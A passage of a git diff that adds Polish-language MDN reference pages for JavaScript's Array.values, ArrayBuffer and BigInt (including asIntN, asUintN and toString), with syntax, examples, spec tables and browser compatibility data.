id="Przykłady">Przykłady</h2> + +<h3 id="Iteracja_używająca_pętli_for...of">Iteracja używająca pętli <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a></code></h3> + +<pre class="brush: js">var arr = ['w', 'y', 'k', 'o', 'p']; +var iterator = arr.values(); + +for (let letter of iterator) { + console.log(letter); +} +</pre> + +<h2 id="Specyfikacja">Specyfikacja</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-array.prototype.values', 'Array.prototype.values')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Initial definition.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-array.prototype.values', 'Array.prototype.values')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2> + +<div> + + +<p>{{Compat("javascript.builtins.Array.values")}}</p> +</div> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li>{{jsxref("Array.prototype.keys()")}}</li> + <li>{{jsxref("Array.prototype.entries()")}}</li> + <li>{{jsxref("Array.prototype.forEach()")}}</li> + <li>{{jsxref("Array.prototype.every()")}}</li> + <li>{{jsxref("Array.prototype.some()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/arraybuffer/index.html b/files/pl/web/javascript/referencje/obiekty/arraybuffer/index.html new file mode 100644 index 0000000000..f01e0fa67c --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/arraybuffer/index.html @@ -0,0 +1,222 @@ +--- +title: ArrayBuffer +slug: Web/JavaScript/Referencje/Obiekty/ArrayBuffer +tags: + - ArrayBuffer + - JavaScript + - Konstruktor + - TypedArrays +translation_of: Web/JavaScript/Reference/Global_Objects/ArrayBuffer +--- +<div>{{JSRef}}</div> + +<p>Objekt<strong> <code>ArrayBuffer</code></strong> reprezentuje buffer z surowymi danymi binarnymi o niezmiennej długości. Nie możesz bezpośrednio wpływać na zawartość obiektu <code><strong>ArrayBuffer</strong></code>, możesz natomiast stworzyć jeden z obiektów<code> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray">typedArray</a></code> lub obiekt {{jsxref("DataView")}} reprezentujący buffer w specjalnym formacie i używać tego obiektu do odczytu oraz zapisu treści buffera.</p> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox">new ArrayBuffer(length) +</pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt>długość<code>(length)</code></dt> + <dd>Rozmiar, w bajtach, tworzony z bufferu tablicy (array buffer).</dd> +</dl> + +<h3 id="Wartość_zwrócona">Wartość zwrócona</h3> + +<p>Nowy obiekt <code>ArrayBuffer</code> o określonym rozmiarze. Jego wartości początkowe wynoszą 0.</p> + +<h3 id="Wyjątki">Wyjątki</h3> + +<p>{{jsxref("RangeError")}} pojawi się, jeśli długość (<code>length</code>) jest większa niż {{jsxref("Number.MAX_SAFE_INTEGER")}} (>= 2 ** 53) lub ujemna.</p> + +<h2 id="Opis">Opis</h2> + +<p>Konstruktor <code>ArrayBuffer</code> tworzy nowy <code>ArrayBuffer </code>z podanej długości (<code>length</code>) w bajtach.</p> + +<h3 id="Otrzymywanie_bufferu_tablicy_z_istniejących_danych">Otrzymywanie bufferu tablicy z istniejących danych</h3> + +<ul> + <li><a href="/en-US/docs/Web/API/WindowBase64/Base64_encoding_and_decoding#Appendix.3A_Decode_a_Base64_string_to_Uint8Array_or_ArrayBuffer">ze stringa Base64</a></li> + <li><a href="/en-US/docs/Web/API/FileReader#readAsArrayBuffer()">z lokalnego pliku</a></li> +</ul> + +<h2 id="Właściwości">Właściwości</h2> + +<dl> + <dt><code>ArrayBuffer.length</code></dt> + <dd>Właściwość długości konstruktura <code>ArrayBuffer</code>, której wartość wynosi 1.</dd> + <dt>{{jsxref("ArrayBuffer.@@species", "get ArrayBuffer[@@species]")}}</dt> + <dd>Funkcja konstruktora jest używana do tworzenia dostarczanych obiektów.</dd> + <dt>{{jsxref("ArrayBuffer.prototype")}}</dt> + <dd>Pozwala dodać właściwości do wszystkich obiektów <code>ArrayBuffer</code>.</dd> +</dl> + +<h2 id="Metody">Metody</h2> + +<dl> + <dt>{{jsxref("ArrayBuffer.isView", "ArrayBuffer.isView(arg)")}}</dt> + <dd>Zwraca <code>true</code>, jeśli <code>arg</code> jest jednym z widoków <code>ArrayBuffer</code>, jak obiekty <code>typedArray</code> lub {{jsxref("DataView")}}. W innych przypadkach zwraca <code>false</code>.</dd> + <dt>{{jsxref("ArrayBuffer.transfer", "ArrayBuffer.transfer(oldBuffer [, newByteLength])")}} {{experimental_inline}}</dt> + <dd> + <div class="line" id="file-arraybuffer-transfer-LC6">Zwraca nowy <code>ArrayBuffer</code>, którego zawartości są pobrane z danych <code>oldBuffer</code>. Następnie zostaje skrócony lub przedłużony od 0 przez <code>newByteLength</code>.</div> + </dd> +</dl> + +<h2 id="Instancje_ArrayBuffer"><code>Instancje ArrayBuffer</code></h2> + +<p>Wszystkie instancje <code>ArrayBuffer </code>dziedziczą z {{jsxref("ArrayBuffer.prototype")}}.</p> + +<h3 id="Właściwości_2">Właściwości</h3> + +<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/ArrayBuffer/prototype','Properties')}}</p> + +<h3 id="Metody_2">Metody</h3> + +<p>{{page('en-US/Web/JavaScript/Reference/Global_Objects/ArrayBuffer/prototype','Methods')}}</p> + +<dl> + <dt>{{jsxref("ArrayBuffer.slice()")}} {{non-standard_inline}}</dt> + <dd>Posiada tę samą funkcjonalność, jak {{jsxref("ArrayBuffer.prototype.slice()")}}.</dd> +</dl> + +<h2 id="Przykłady">Przykłady</h2> + +<p>W niniejszym przykładzie tworzymy 8-bajtowy buffer z widokiem {{jsxref("Global_Objects/Int32Array", "Int32Array")}} odnoszącym się do buffera:</p> + +<pre class="brush: js">var buffer = new ArrayBuffer(8); +var view = new Int32Array(buffer);</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('Typed Array')}}</td> + <td>{{Spec2('Typed Array')}}</td> + <td>Zastępiony przez ECMAScript 6.</td> + </tr> + <tr> + <td>{{SpecName('ES6', '#sec-arraybuffer-constructor', 'ArrayBuffer')}}</td> + <td>{{Spec2('ES6')}}</td> + <td>Definicja początkowa w standardzie ECMA. Zgłasza, że wymagany jest <code>new</code>.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-arraybuffer-constructor', 'ArrayBuffer')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2> + +<p>{{CompatibilityTable}}</p> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Cecha</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari</th> + </tr> + <tr> + <td>Wsparcie podstawowe</td> + <td>7.0</td> + <td>{{CompatGeckoDesktop("2")}}</td> + <td>10</td> + <td>11.6</td> + <td>5.1</td> + </tr> + <tr> + <td><code>ArrayBuffer()</code> bez odsyłacza <code>new</code></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoDesktop("44")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>ArrayBuffer.slice()</code> {{non-standard_inline}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}<br> + {{CompatNo}} {{CompatGeckoDesktop("53")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Cecha</th> + <th>Android</th> + <th>Chrome for Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Mobile</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>Wsparcie podstawowe</td> + <td>4.0</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoMobile("2")}}</td> + <td>10</td> + <td>11.6</td> + <td>4.2</td> + </tr> + <tr> + <td><code>ArrayBuffer()</code> bez odsyłacza <code>new</code></td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatGeckoMobile("44")}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + <tr> + <td><code>ArrayBuffer.slice()</code> {{non-standard_inline}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}<br> + {{CompatNo}} {{CompatGeckoMobile("53")}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatNo}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<h2 id="Zapis_kompatybilny">Zapis kompatybilny</h2> + +<p>Od ECMAScript 2015 kontruktory <code>ArrayBuffer</code> muszą być tworzone poprzez operator {{jsxref("Operators/new", "new")}}. Wywoływanie kontruktora ArrayBuffer jako funkcji bez <code>new</code> zaskutkuje od teraz pojawieniem się {{jsxref("TypeError")}}.</p> + +<pre class="brush: js example-bad">var dv = ArrayBuffer(10); +// TypeError: calling a builtin ArrayBuffer constructor +// without new is forbidden</pre> + +<pre class="brush: js example-good">var dv = new ArrayBuffer(10);</pre> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Typed_arrays">JavaScript typed arrays</a></li> + <li>{{jsxref("SharedArrayBuffer")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/bigint/asintn/index.html b/files/pl/web/javascript/referencje/obiekty/bigint/asintn/index.html new file mode 100644 index 0000000000..f3d7de5b66 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/bigint/asintn/index.html @@ -0,0 +1,79 @@ +--- +title: BigInt.asIntN() +slug: Web/JavaScript/Referencje/Obiekty/BigInt/asIntN +tags: + - BigInt + - JavaScript + - Metodă + - Referencja + - asIntN +translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/asIntN +--- +<div>{{JSRef}}</div> + +<p>Metoda statyczna <strong><code>BigInt.asIntN</code></strong> jest używana do opakowywania wartości BigInt w wartości całkowite ze znakiem w zakresie od -2<sup>szerokość-1</sup> do 2<sup>szerokość-1</sup>-1.</p> + +<div>{{EmbedInteractiveExample("pages/js/bigint-asintn.html", "taller")}}</div> + +<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox">BigInt.asIntN(<em>szerokość</em>, <var>bigint</var>);</pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt><code><var>szerokość</var></code></dt> + <dd>Liczba bitów dostępnych dla rozmiaru wartości całkowitej (integer).</dd> + <dt><code><var>bigint</var></code></dt> + <dd>Wartość całkowita, którą chcemy wpasować w daną liczbę bitów.</dd> +</dl> + +<h3 id="Wynik">Wynik</h3> + +<p>Wartość <code><var>bigint</var></code> modulo 2<sup><code><var>szerokość</var></code></sup> jako liczba całkowita ze znakiem.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Pozostawanie_w_zakresie_arytmetyki_64-bitowej">Pozostawanie w zakresie arytmetyki 64-bitowej</h3> + +<p>Metoda <code>BigInt.asIntN()</code> może być użyteczna do tego, by pozostać w zakresie obliczeń arytmetyki 64-bitowej.</p> + +<pre class="brush: js">const max = 2n ** (64n - 1n) - 1n; + +BigInt.asIntN(64, max); +// ↪ 9223372036854775807n + +BigInt.asIntN(64, max + 1n); +// ↪ -9223372036854775807n +// wartość ujemna ze względu na przepełnienie +</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specyfikacja</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('ESDraft', '#sec-bigint.asintn', 'BigInt.asIntN()')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2> + + + +<p>{{Compat("javascript.builtins.BigInt.asIntN")}}</p> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li>{{JSxRef("BigInt")}}</li> + <li>{{JSxRef("BigInt.asUintN()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/bigint/asuintn/index.html b/files/pl/web/javascript/referencje/obiekty/bigint/asuintn/index.html new file mode 100644 index 0000000000..0f290f50c4 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/bigint/asuintn/index.html @@ -0,0 +1,78 @@ +--- +title: BigInt.asUintN() +slug: Web/JavaScript/Referencje/Obiekty/BigInt/asUintN +tags: + - BigInt + - JavaScript + - Metodă + - Referencja + - asUintN +translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/asUintN +--- +<div>{{JSRef}}</div> + +<p>Metoda statyczna <strong><code>BigInt.asUintN</code></strong> jest używana do opakowywania wartości BigInt w wartości całkowite bez znaku w zakresie od 0 do 2<sup>szerokość</sup>-1.</p> + +<div>{{EmbedInteractiveExample("pages/js/bigint-asuintn.html", "taller")}}</div> + +<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div> + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox">BigInt.asUintN(<em>szerokość</em>, <var>bigint</var>);</pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt><code><var>szerokość</var></code></dt> + <dd>Liczba bitów dostępnych dla rozmiaru wartości całkowitej (integer).</dd> + <dt><code><var>bigint</var></code></dt> + <dd>Wartość całkowita, którą chcemy wpasować w daną liczbę bitów.</dd> +</dl> + +<h3 id="Wynik">Wynik</h3> + +<p>Wartość <code><var>bigint</var></code> modulo 2<sup><code><var>szerokość</var></code></sup> jako wartość całkowita bez znaku.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Pozostawanie_w_zakresie_arytmetyki_64-bitowej">Pozostawanie w zakresie arytmetyki 64-bitowej</h3> + +<p>Metoda <code>BigInt.asUintN()</code> może być użyteczna do tego, by pozostać w zakresie obliczeń arytmetyki 64-bitowej.</p> + +<pre class="brush: js">const max = 2n ** 64n - 1n; + +BigInt.asUintN(64, max); +// ↪ 18446744073709551615n + +BigInt.asUintN(64, max + 1n); +// ↪ 0n +// zero z powodu przepełnienia</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specyfikacja</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('ESDraft', '#sec-bigint.asuintn', 'BigInt.asUintN()')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2> + + + +<p>{{Compat("javascript.builtins.BigInt.asUintN")}}</p> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li>{{JSxRef("BigInt")}}</li> + <li>{{JSxRef("BigInt.asIntN()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/bigint/index.html b/files/pl/web/javascript/referencje/obiekty/bigint/index.html new file mode 100644 index 0000000000..650604b0c3 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/bigint/index.html @@ -0,0 +1,293 @@ +--- +title: BigInt +slug: Web/JavaScript/Referencje/Obiekty/BigInt +tags: + - BigInt + - JavaScript + - Referencja +translation_of: Web/JavaScript/Reference/Global_Objects/BigInt +--- +<div>{{JSRef}}</div> + +<p><strong><code>BigInt</code></strong> jest wbudowanym obiektem umożliwiającym reprezentowanie całych liczb większch niż 2<sup>53</sup> - 1, ile wynosi największa liczba, którą JavaScript może faktycznie reprezentować przez prymityw {{JSxRef("Number")}}, co jest też reprezentowane przez stałą {{JSxRef("Number.MAX_SAFE_INTEGER")}}. <strong><code>BigInt</code></strong> może być używany do dowolnie dużych liczb całkowitych.</p> + +<dl> +</dl> + +<h2 id="Opis">Opis</h2> + +<p><code>BigInt</code> jest tworzony przez dodanie <code>n</code> na końcu literału liczby — <code>10n</code> — lub przez wywołanie funkcji <code>BigInt()</code>.</p> + +<pre class="brush: js">const najwiekszyInt = 9007199254740991n + +const tezDuzaLiczba = BigInt(9007199254740991) +// ↪ 9007199254740991n + +const duzyString = BigInt("9007199254740991") +// ↪ 9007199254740991n + +const duzyHex = BigInt("0x1fffffffffffff") +// ↪ 9007199254740991n + +const duzyBin = BigInt("0b11111111111111111111111111111111111111111111111111111") +// ↪ 9007199254740991n +</pre> + +<p><code>BigInt</code> jest w pewnym sensie podobny do {{JSxRef("Number")}} ale też różni się od niego w kilku kluczowych sprawach — nie może być używany z metodami wbudowanego obiektu {{JSxRef("Math")}}, a także nie może być mieszany z instancjami <code>Number</code> w żadnych operacjach; konieczne jest wymuszenie tego samego typu operandów. Należy uważać z wymuszaniem typów w jedną i drugą stronę, w szczególności precyzja <code>BigInt</code> może być utracona przy wymuszonej konwersji do typu <code>Number</code>.</p> + +<h3 id="Informacje_o_typie">Informacje o typie</h3> + +<p>Przy sprawdzeniu za pomocą <code>typeof</code>, <code>BigInt</code> zwróci "bigint":</p> + +<pre class="brush: js">typeof 1n === 'bigint' // true +typeof BigInt('1') === 'bigint' // true +</pre> + +<p>Obudowany w <code>Object</code>, <code>BigInt</code> będzie rozważany jako zwykły "obiekt":</p> + +<pre class="brush: js">typeof Object(1n) === 'object' // true +</pre> + +<h3 id="Operatory">Operatory</h3> + +<p>Z <code>BigInt</code>ami (lub <code>BigInt</code>ami obudowanymi w obiekty) mogą być używane następujące operatory: : <code>+</code>, <code>*</code>, <code>-</code>, <code>**</code>, <code>%</code>.</p> + +<p><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Bitwise_Operators">Operatory bitowe</a> także są wspierane, z wyjątkiem <code>>>></code> (przesunięcie w prawo z dopełnieniem zerami), gdyż wszystkie <code>BigInt</code>y mają znak.</p> + +<p>Niewspierany jest także operator jednoargumentowy (<code>+</code>), <a href="https://github.com/tc39/proposal-bigint/blob/master/ADVANCED.md#dont-break-asmjs">aby nie złamać zasad asm.js</a>.</p> + +<pre class="brush: js">const previousMaxSafe = BigInt(Number.MAX_SAFE_INTEGER) +// ↪ 9007199254740991n + +const maxPlusOne = previousMaxSafe + 1n +// ↪ 9007199254740992n + +const theFuture = previousMaxSafe + 2n +// ↪ 9007199254740993n, this works now! + +const multi = previousMaxSafe * 2n +// ↪ 18014398509481982n + +const subtr = multi – 10n +// ↪ 18014398509481972n + +const mod = multi % 10n +// ↪ 2n + +const bigN = 2n ** 54n +// ↪ 18014398509481984n + +bigN * -1n +// ↪ –18014398509481984n +</pre> + +<p>Operator <code>/</code> także działa zgodnie z założeniami z całymi liczbami.</p> + +<p>Jako że są to <code>BigInt</code>y, a nie <code>BigDecimal</code>, operacja dzielenia będzie zaokroąglała wynik do <code>0</code> (zatem można prościej powiedzieć, że nie zwraca ułamkowej części wyniku).</p> + +<div class="blockIndicator warning"> +<p>Ułamkowy wynik operacji będzie przycięty, kiedy używany jest <code>BigInt</code>.</p> +</div> + +<pre class="brush: js">const expected = 4n / 2n +// ↪ 2n + +const rounded = 5n / 2n +// ↪ 2n, not 2.5n + +</pre> + +<h3 id="Porównania">Porównania</h3> + +<p><code>BigInt</code> nie jest ściśle równy {{JSxRef("Number")}}, ale jest równy w luźnym sensie, zatem:</p> + +<pre class="brush: js">0n === 0 +// ↪ false + +0n == 0 +// ↪ true</pre> + +<p>{{JSxRef("Global_Objects/Number", "Number")}} i <code>BigInt</code> mogą być porównywane w zwyczajny sposób:</p> + +<pre class="brush: js">1n < 2 +// ↪ true + +2n > 1 +// ↪ true + +2 > 2 +// ↪ false + +2n > 2 +// ↪ false + +2n >= 2 +// ↪ true</pre> + +<p>Mogą być też mieszane w tablicach i sortowane:</p> + +<pre class="brush: js">const mixed = [4n, 6, -12n, 10, 4, 0, 0n] +// ↪ [4n, 6, -12n, 10, 4, 0, 0n] + +mixed.sort() +// ↪ [-12n, 0, 0n, 4n, 4, 6, 10] +</pre> + +<p>Zauważ, że porównania z <code>BigInt</code>ami opakowanymi w obiekty działają jak z innymi obiektami, wskazując równość tylko wtedy, kiedy ta sama instancja obiektu znajduje się po obu stronach porównania:</p> + +<pre class="brush: js">0n === Object(0n) // false +Object(0n) === Object(0n) // false + +const o = Object(0n) +o === o // true +</pre> + +<h3 id="Instrukcje_warunkowe">Instrukcje warunkowe</h3> + +<p><code>BigInt</code> zachowuje się jak {{JSxRef("Global_Objects/Number", "Number")}} w przypadkach, gdy:</p> + +<ul> + <li>jest konwertowany na {{JSxRef("Global_Objects/Boolean", "Boolean")}} za pomocą funkcji {{JSxRef("Global_Objects/Boolean", "Boolean")}};</li> + <li>jest używany z <a href="/pl/docs/Web/JavaScript/Referencje/Operatory/Logical_Operators">operatorami logicznymi</a> <code>||</code>, <code>&&</code> lub <code>!</code>;</li> + <li>w instrukcjach warunkowych {{JSxRef("Statements/if...else", "if")}}.</li> +</ul> + +<pre class="brush: js">if (0n) { + console.log('Hello from the if!') +} else { + console.log('Hello from the else!') +} + +// ↪ "Hello from the else!" + +0n || 12n +// ↪ 12n + +0n && 12n +// ↪ 0n + +Boolean(0n) +// ↪ false + +Boolean(12n) +// ↪ true + +!12n +// ↪ false + +!0n +// ↪ true +</pre> + +<h2 id="Konstruktor">Konstruktor</h2> + +<dl> + <dt><code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/BigInt/BigInt">BigInt()</a></code></dt> + <dd>Tworzy obiekty {{jsxref("BigInt")}}.</dd> +</dl> + +<h2 id="Metody_statyczne">Metody statyczne</h2> + +<dl> + <dt>{{JSxRef("BigInt.asIntN()")}}</dt> + <dd>Opakowuje wartość <code>BigInt</code> w liczbę całkowitą ze znakiem o wartości między <code>-2<var><sup>width</sup></var><sup>-1</sup></code> a <code>2<var><sup>width</sup></var><sup>-1</sup> - 1</code>.</dd> + <dt>{{JSxRef("BigInt.asUintN()")}}</dt> + <dd>Opakowuje wartość <code>BigInt</code> w liczbę całkowitą bez znaku o wartości między <code>0</code> a <code>2<var><sup>width</sup></var> - 1</code>.</dd> +</dl> + +<h2 id="Metody_instancyjne">Metody instancyjne</h2> + +<dl> + <dt>{{JSxRef("BigInt.prototype.toLocaleString()")}}</dt> + <dd>Zwraca string z zależną od języka reprezentacją danej liczby. Nadpisuje metodę {{JSxRef("Object.prototype.toLocaleString()")}}.</dd> + <dt>{{JSxRef("BigInt.prototype.toString()")}}</dt> + <dd>Zwraca string reprezentujący dany obiekt w określonym źródle. Nadpisuje metodę {{JSxRef("Object.prototype.toString()")}}.</dd> + <dt>{{JSxRef("BigInt.prototype.valueOf()")}}</dt> + <dd>Zwraca prymitywną wartość danego obiektu. Nadpisuje metodę {{JSxRef("Object.prototype.valueOf()")}}.</dd> +</dl> + +<h2 id="Zalecenia_w_użyciu">Zalecenia w użyciu</h2> + +<h3 id="Wymuszanie_typów">Wymuszanie typów</h3> + +<p>Ponieważ wymuszanie tupów między {{JSxRef("Number")}} a <code>BigInt</code> może prowadzić do utraty precyzji, zaleca się używanie jedynie typu <code>BigInt</code>, gdy można się spodziewać, że pojawią się wartości przekraczające 2<sup>53</sup> i nie należy wówczas przeprowadzać konwersji między tymi typami.</p> + +<h3 id="Kryptografia">Kryptografia</h3> + +<p>Operacje wspierane dla <code>BigInt</code>ów nie są stałe czasowo, dlatego też typ <code>BigInt</code> <a href="https://www.chosenplaintext.ca/articles/beginners-guide-constant-time-cryptography.html">nie nadaje się do użycia w kryptografii</a>.</p> + +<h3 id="Użycie_w_JSON">Użycie w JSON</h3> + +<p>Użycie {{jsxref("JSON.stringify()")}} z dowolną wartością typu <code>BigInt</code> spowoduje błąd <code>TypeError</code>, ponieważ wartości <code>BigInt</code> nie są domyślnie serialozowane w JSONie. Jednakże, jeśli taka operacja jest potrzebna, możesz zaimplemntować własną metodę <code>toJSON</code>:</p> + +<pre class="brush: js">BigInt.prototype.toJSON = function() { return this.toString() }</pre> + +<p>Zamiast wyrzucania wyjątku, <code>JSON.stringify</code> będzie teraz zwracać string:</p> + +<pre class="brush: js">JSON.stringify(BigInt(1)) +// '"1"'</pre> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Obliczanie_liczb_pierwszych">Obliczanie liczb pierwszych</h3> + +<pre class="brush: js">// Zwraca true jeśl dany BigInt jest liczbą pierwszą +function isPrime(p) { + for (let i = 2n; i * i <= p; i++) { + if (p % i === 0n) return false; + } + return true +} + +// Przyjmuje BigInt n jako argument, zwraca n-tą liczbę pierwszą jako BigInt +function nthPrime(nth) { + let maybePrime = 2n + let prime = 0n + + while (nth >= 0n) { + if (isPrime(maybePrime)) { + nth-- + prime = maybePrime + } + maybePrime++ + } + + return prime +} + +nthPrime(20n) +// ↪ 73n</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specyfikacja</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("ESDraft", "#sec-bigint-objects", "<code>BigInt</code> objects")}}</td> + </tr> + </tbody> +</table> + +<h2 id="Wsparcie_przeglądarek">Wsparcie przeglądarek</h2> + +<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div> + +<p>{{Compat("javascript.builtins.BigInt")}}</p> + +<h3 id="Postęp_implementacji">Postęp implementacji</h3> + +<p>Poniższa tabela przedstawia postęp implementacji tej funkcji języka JavaScript, gdyż nie osiągnęła ona jeszcze pełnej stabilności między przeglądarkami. Dane są generowane przez uruchamianie odpowiednich testów tej funkcji w <a href="https://github.com/tc39/test262">Test262</a>,standrardowym zestawie testów JavaScript, „nocnych wersji” (ang. <em>nightly build</em>) lub ostatnich wydań silnika JavaScript w każdej przeglądarce.</p> + +<div>{{EmbedTest262ReportResultsTable("BigInt")}}</div> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li>{{JSxRef("Number")}}</li> + <li>{{JSxRef("Number.MAX_SAFE_INTEGER")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/bigint/tostring/index.html b/files/pl/web/javascript/referencje/obiekty/bigint/tostring/index.html new file mode 100644 index 0000000000..9cc06f15ea --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/bigint/tostring/index.html @@ -0,0 +1,95 @@ +--- +title: BigInt.prototype.toString() +slug: Web/JavaScript/Referencje/Obiekty/BigInt/toString +tags: + - BigInt + - JavaScript + - Metodă + - Prototyp + - toString() +translation_of: Web/JavaScript/Reference/Global_Objects/BigInt/toString +--- +<div>{{JSRef}}</div> + +<p>Metoda <strong><code>toString()</code></strong> zwraca ciąg znaków (<em>string</em>), reprezentujący dany obiekt {{jsxref("BigInt")}}. Końcowy znak "n" nie jest częścią wynikowego ciągu znaków.</p> + +<div>{{EmbedInteractiveExample("pages/js/bigint-tostring.html")}}</div> + + + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>bigIntObj</var>.toString([podstawa])</code></pre> + +<h3 id="Parametry">Parametry</h3> + +<dl> + <dt><code>podstawa</code>{{optional_inline}}</dt> + <dd>Argument opcjonalny. Liczba całkowita w zakresie od 2 do 36, reprezentująca bazę systemu liczbowego, w którym ma być przedstawiona dana wartość {{jsxref("BigInt")}}.</dd> +</dl> + +<h3 id="Zwracana_wartość">Zwracana wartość</h3> + +<p>Ciąg znaków reprezentujący dany obiekt {{jsxref("BigInt")}}.</p> + +<h3 id="Wyjątki">Wyjątki</h3> + +<dl> + <dt>{{jsxref("RangeError")}}</dt> + <dd>Jeśli do metody <code>toString()</code> przekazana jest podstawa systemu mniejsza niż 2 lub większa niż 36, wyrzucany jest błąd {{jsxref("RangeError")}}.</dd> +</dl> + +<h2 id="Opis">Opis</h2> + +<p>Obiekt {{jsxref("BigInt")}} nadpisuje metodę <code>toString()</code> obiektu {{jsxref("Object")}}; nie dziedziczy metody {{jsxref("Object.prototype.toString()")}}. Dla obiektów {{jsxref( "BigInt")}}, metoda <code>toString()</code> zwraca ciąg znaków reprezentujący daną wartość w systemie pozycyjnym o zadanej bazie.</p> + +<p>Metoda <code>toString()</code> parsuje pierwszy argument i próbuje zwrócić ciąg znaków reprezentujący daną wartość w systemie o zadanej podstawie (bazie). Dla systemów o podstawie większej niż 10, do reprezentacji cyfr większych niż 9 używane są kolejne litery alfabetu łacińskiego. Przykładowo, dla wartości w systemie szesnastkowym (o podstawie równej 16), używane są litery od <code>a</code> do <code>f</code>.</p> + +<p>Jeśli <code>podstawa</code> nie jest podana, zakłada się, że preferowaną bazą systemu jest 10.</p> + +<p>Jeśli wartość <code>bigIntObj</code> jest ujemna, znak jest zachowywany. Dzieje się tak nawet wtedy, gdy podstawą jest 2; zwracany ciąg cyfr jest dodatnią reprezentacją <code>bigIntObj</code>, poprzedzoną znakiem <code>-</code>, <strong>nie</strong> dopełnieniem dwójkowym 